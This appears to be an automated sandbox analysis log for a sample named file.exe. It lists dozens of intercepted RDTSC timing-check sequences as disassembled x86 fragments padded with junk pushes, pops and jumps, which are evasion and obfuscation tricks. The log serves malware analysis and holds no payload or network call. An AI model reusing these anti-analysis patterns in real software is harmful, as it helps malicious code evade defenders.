Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA03FB second address: 4FA040B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A119817Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA040B second address: 4FA0433 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF8A11CF040h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0433 second address: 4FA0442 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0442 second address: 4FA0495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d pushfd 0x0000000e jmp 00007FF8A11CF048h 0x00000013 sub eax, 5FECD738h 0x00000019 jmp 00007FF8A11CF03Bh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 mov ecx, ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0495 second address: 4FA04F8 instructions: 0x00000000 rdtsc 0x00000002 mov bh, 19h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FF8A119817Ah 0x0000000b pushfd 0x0000000c jmp 00007FF8A1198182h 0x00000011 adc cl, FFFFFFC8h 0x00000014 jmp 00007FF8A119817Bh 0x00000019 popfd 0x0000001a pop esi 0x0000001b popad 0x0000001c xchg eax, ebx 0x0000001d jmp 00007FF8A119817Fh 0x00000022 xchg eax, esi 0x00000023 jmp 00007FF8A1198186h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c movsx edi, si 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA04F8 second address: 4FA04FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA04FE second address: 4FA0502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0502 second address: 4FA0506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0506 second address: 4FA0563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FF8A1198183h 0x0000000e xchg eax, edi 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FF8A1198184h 0x00000016 and esi, 63B11B18h 0x0000001c jmp 00007FF8A119817Bh 0x00000021 popfd 0x00000022 movzx eax, di 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF8A1198181h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0563 second address: 4FA05B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov si, bx 0x0000000e popad 0x0000000f mov eax, dword ptr [75C74538h] 0x00000014 jmp 00007FF8A11CF045h 0x00000019 xor dword ptr [ebp-08h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF8A11CF048h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA05B7 second address: 4FA05BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA05BD second address: 4FA05DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF8A11CF03Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA05DF second address: 4FA05E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA05E4 second address: 4FA0605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A11CF045h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0605 second address: 4FA060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA060B second address: 4FA060F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA060F second address: 4FA062F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8A1198181h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA062F second address: 4FA0633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0633 second address: 4FA0639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0639 second address: 4FA0641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0641 second address: 4FA0670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 lea eax, dword ptr [ebp-10h] 0x0000000a jmp 00007FF8A119817Bh 0x0000000f mov dword ptr fs:[00000000h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF8A1198180h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0670 second address: 4FA0676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0676 second address: 4FA067C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA067C second address: 4FA0680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0680 second address: 4FA06E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198188h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-18h], esp 0x0000000e pushad 0x0000000f mov cl, 2Bh 0x00000011 push edi 0x00000012 mov ebx, esi 0x00000014 pop eax 0x00000015 popad 0x00000016 mov eax, dword ptr fs:[00000018h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov eax, 2A42D0F9h 0x00000024 pushfd 0x00000025 jmp 00007FF8A1198186h 0x0000002a sub eax, 175B0208h 0x00000030 jmp 00007FF8A119817Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA06E1 second address: 4FA06E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA06E6 second address: 4FA073C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF8A1198185h 0x0000000a sub ch, 00000026h 0x0000000d jmp 00007FF8A1198181h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov ecx, dword ptr [eax+00000FDCh] 0x0000001c jmp 00007FF8A119817Eh 0x00000021 test ecx, ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF8A119817Ah 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA073C second address: 4FA074B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA074B second address: 4FA0751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0751 second address: 4FA0755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0755 second address: 4FA0759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0759 second address: 4FA07B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FF8A11CF065h 0x0000000e jmp 00007FF8A11CF047h 0x00000013 add eax, ecx 0x00000015 jmp 00007FF8A11CF046h 0x0000001a mov ecx, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF8A11CF047h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA07B2 second address: 4FA0806 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF8A119817Fh 0x00000009 sub ah, 0000002Eh 0x0000000c jmp 00007FF8A1198189h 0x00000011 popfd 0x00000012 mov cx, 03B7h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test ecx, ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF8A1198189h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90199 second address: 4F901F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF8A11CF041h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF8A11CF03Ch 0x00000017 jmp 00007FF8A11CF045h 0x0000001c popfd 0x0000001d mov di, ax 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F901F1 second address: 4F901F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F901F5 second address: 4F901F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F901F9 second address: 4F901FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F901FF second address: 4F9023B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e pushad 0x0000000f mov ax, 1227h 0x00000013 popad 0x00000014 push edx 0x00000015 jmp 00007FF8A11CF046h 0x0000001a mov dword ptr [esp], ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF8A11CF03Ah 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F9023B second address: 4F9023F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F9023F second address: 4F90245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90245 second address: 4F90260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, DDh 0x00000005 mov di, BAFCh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF8A119817Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90260 second address: 4F90264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90264 second address: 4F9026A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F902AB second address: 4F902FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FF8A11CF03Bh 0x0000000b xor eax, 20974CEEh 0x00000011 jmp 00007FF8A11CF049h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub ebx, ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF8A11CF049h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F902FE second address: 4F90304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90304 second address: 4F9032D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8A11CF043h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F9032D second address: 4F90333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90333 second address: 4F90339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90339 second address: 4F9033D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F9033D second address: 4F90358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dl, 4Eh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90358 second address: 4F9035E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F9035E second address: 4F90378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90378 second address: 4F9037C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F9037C second address: 4F90382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90382 second address: 4F903AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198184h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF8A119834Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF8A119817Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F903AE second address: 4F903B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F903B2 second address: 4F903B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F904EE second address: 4F90519 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FF911E5CFB7h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ecx, edi 0x00000014 mov esi, edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90519 second address: 4F90541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FF8A11981C3h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF8A1198185h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90541 second address: 4F90586 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007FF8A11CF03Eh 0x00000011 jne 00007FF911E5CF6Ah 0x00000017 pushad 0x00000018 mov eax, 6430742Dh 0x0000001d movzx eax, bx 0x00000020 popad 0x00000021 mov ebx, dword ptr [ebp+08h] 0x00000024 pushad 0x00000025 mov eax, edi 0x00000027 popad 0x00000028 lea eax, dword ptr [ebp-2Ch] 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e mov edx, ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90586 second address: 4F905D6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF8A1198180h 0x00000008 jmp 00007FF8A1198185h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dl, ah 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FF8A1198188h 0x00000019 mov dword ptr [esp], esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F905D6 second address: 4F905DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F905DA second address: 4F905F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F905F7 second address: 4F905FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F905FD second address: 4F90601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90601 second address: 4F90613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, dx 0x0000000f push edx 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90613 second address: 4F9061A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F9061A second address: 4F90639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A11CF043h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90639 second address: 4F90651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A1198184h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90651 second address: 4F906C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FF8A11CF03Ah 0x00000010 adc si, 0638h 0x00000015 jmp 00007FF8A11CF03Bh 0x0000001a popfd 0x0000001b mov esi, 45B5D46Fh 0x00000020 popad 0x00000021 mov dword ptr [esp], ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FF8A11CF047h 0x0000002d jmp 00007FF8A11CF043h 0x00000032 popfd 0x00000033 jmp 00007FF8A11CF048h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F9002B second address: 4F90089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edi, cx 0x0000000e mov bh, ah 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 pushad 0x00000014 movsx edx, si 0x00000017 mov esi, 5B02889Fh 0x0000001c popad 0x0000001d mov si, 0FBBh 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movsx ebx, ax 0x0000002a pushfd 0x0000002b jmp 00007FF8A1198184h 0x00000030 sub esi, 595BA738h 0x00000036 jmp 00007FF8A119817Bh 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90089 second address: 4F900E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FF8A11CF043h 0x00000012 pushfd 0x00000013 jmp 00007FF8A11CF048h 0x00000018 adc ecx, 3201A328h 0x0000001e jmp 00007FF8A11CF03Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90C86 second address: 4F90CBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF8A1198183h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90CBB second address: 4F90CD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90CD8 second address: 4F90CF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90CF4 second address: 4F90CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90CF8 second address: 4F90CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90CFC second address: 4F90D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90D02 second address: 4F90D4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198182h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov bl, ah 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop eax 0x00000013 popad 0x00000014 popad 0x00000015 cmp dword ptr [75C7459Ch], 05h 0x0000001c pushad 0x0000001d pushad 0x0000001e mov si, di 0x00000021 jmp 00007FF8A1198189h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90D4C second address: 4F90D72 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 32569A00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007FF911E4CCDFh 0x00000010 jmp 00007FF8A11CF03Fh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90D72 second address: 4F90D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
